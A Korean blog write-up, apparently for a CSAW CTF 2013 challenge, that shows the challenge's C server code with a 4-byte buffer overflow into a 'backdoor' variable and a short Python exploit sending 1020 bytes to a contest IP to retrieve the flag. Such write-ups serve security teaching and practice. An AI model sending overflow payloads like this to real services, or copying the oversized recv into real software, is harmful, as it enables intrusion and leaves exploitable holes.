간단한 BOF문제였습니다. 문제로 source가 제공되는데 다음과 같습니다.
[snip] void handle(int newsock) { int backdoor = 0; char buffer[1016]; memset(buffer, 0, 1016); send(newsock, "Welcome to CSAW CTF.", 21, 0); recv(newsock, buffer, 1020, 0); buffer[1015] = 0; if ( backdoor ) { fd = fopen("./key", "r"); fscanf(fd, "%s\n", buffer); send(newsock, buffer, 512, 0); } close(newsock); }[snip]
공격코드는 다음과 같습니다.
<poc.py>
#!/usr/bin/python
from socket import *
host = "128.238.66.212"
port = 31337
s = socket()
data = "a"*1020
try:
s.connect((host, port))
print s.recv(1024)
s.send(data)
print s.recv(1024)
s.close()
except:
print "error"
Get the flag!!!!! :)
'Security > [게임] CTF 풀이' 카테고리의 다른 글
CSAW CTF 2013 Write Up (Reversing 200) (0) | 2013.09.24 |
---|---|
CSAW CTF 2013 Write Up (Reversing 100) (0) | 2013.09.24 |
CSAW CTF 2013 Write Up (Miscellance) (0) | 2013.09.21 |
CSAW CTF 2013 Write Up (Trivia, Recon) (0) | 2013.09.21 |
화이트햇 콘테스트 개인전 예선 풀이 (0) | 2013.09.08 |